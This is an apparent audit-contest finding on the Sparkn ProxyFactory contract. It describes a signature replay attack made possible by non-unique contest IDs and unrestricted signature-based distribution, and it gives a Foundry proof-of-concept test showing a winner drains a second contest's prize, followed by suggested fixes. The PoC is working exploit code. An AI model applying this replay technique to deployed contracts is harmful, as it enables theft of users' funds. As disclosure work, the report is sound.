Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Non unique contestId results in stolen funds

honeymewn

Summary

Non unique contest id allows for a signature replay attack between different versions. If an owner creates a new contest with the same contestId and organizer but a different implementation an attacker can reuse organizer's old signature to distribute funds.

Vulnerability Details

Distribute by signature doesn't have AC set which allows anyone including the attacker to call this function.

function deployProxyAndDistributeBySignature(
address organizer,
bytes32 contestId,
address implementation,
bytes calldata signature,
bytes calldata data
) public returns (address) {

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/ProxyFactory.sol#L152

Consider a case when there are 2 contests with the same contestId organized by the same entity BUT the implementation is different due to a version upgrade for example. There's NOTHING preventing that from happening since setContest only checks for salt collision

bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] != 0) revert ProxyFactory__ContestIsAlreadyRegistered();

https://github.com/Cyfrin/2023-08-sparkn/blob/main/src/ProxyFactory.sol#L114

This means that if prize distribution for the first contest happened via signature scheme then one of the winners can reuse the same signature to distribute funds for the second one.

POC

Add to ProxyFactoryTest.t.sol:

import {ERC20} from "openzeppelin/token/ERC20/ERC20.sol";
​
contract MockToken is ERC20 {
constructor() ERC20("", "") {
}
​
function mint(address _to, uint256 _amount) external {
_mint(_to, _amount);
}
}
​
function testReplaySignature() public {
vm.prank(factoryAdmin);
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
​
bytes32 constestId = keccak256(abi.encode("Jason", "001"));
bytes32 salt1 = keccak256(abi.encode(TEST_SIGNER, constestId, address(distributor)));
bytes32 salt2 = keccak256(abi.encode(TEST_SIGNER, constestId, address(distributor2)));
​
MockToken token = new MockToken();
token.mint(proxyFactory.getProxyAddress(salt1, address(distributor)), 1e18);
token.mint(proxyFactory.getProxyAddress(salt2, address(distributor2)), 1e18);
​
address winner = address(42);
​
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner2(TEST_SIGNER_KEY, address(winner), address(token));
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
​
bytes memory data = abi.encodeWithSelector(
ProxyFactory.deployProxyAndDistributeBySignature.selector,
TEST_SIGNER, constestId, address(distributor), signature, sendingData
);
​
vm.prank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, constestId, block.timestamp + 1, address(distributor));
vm.warp(2);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, constestId, address(distributor), signature, sendingData
);
assertEq(token.balanceOf(winner), 95e16);
​
// another contest with the same organizer and constestId BUT different implementation
vm.prank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, constestId, block.timestamp + 1, address(distributor2));
​
vm.warp(10);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, constestId, address(distributor2), signature, sendingData
);
​
// winner claims prize for the second constest
assertEq(token.balanceOf(winner), 2*95e16);
}

Test

forge test --match-test testReplaySignature -vvv

Output

[PASS] testReplaySignature() (gas: 1514636)

Impact

Stolen funds

Tools Used

Recommendations

  1. Easiest fix would be to set AC to onlyOwner for deployProxyAndDistributeBySignature

  2. An alternative solution would be to make a contestId unique

mapping(uint => contestInfo) contest;
​
struct contestInfo {
address organiser;
address implementation;
uint closeTime;
};
​

With this implementation one just needs to pass contestId when distributing funds. No need for (organiser, constestId, implementation). This is more expensive in terms of gas but you can free up storage once the contest finishes and get a refund.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.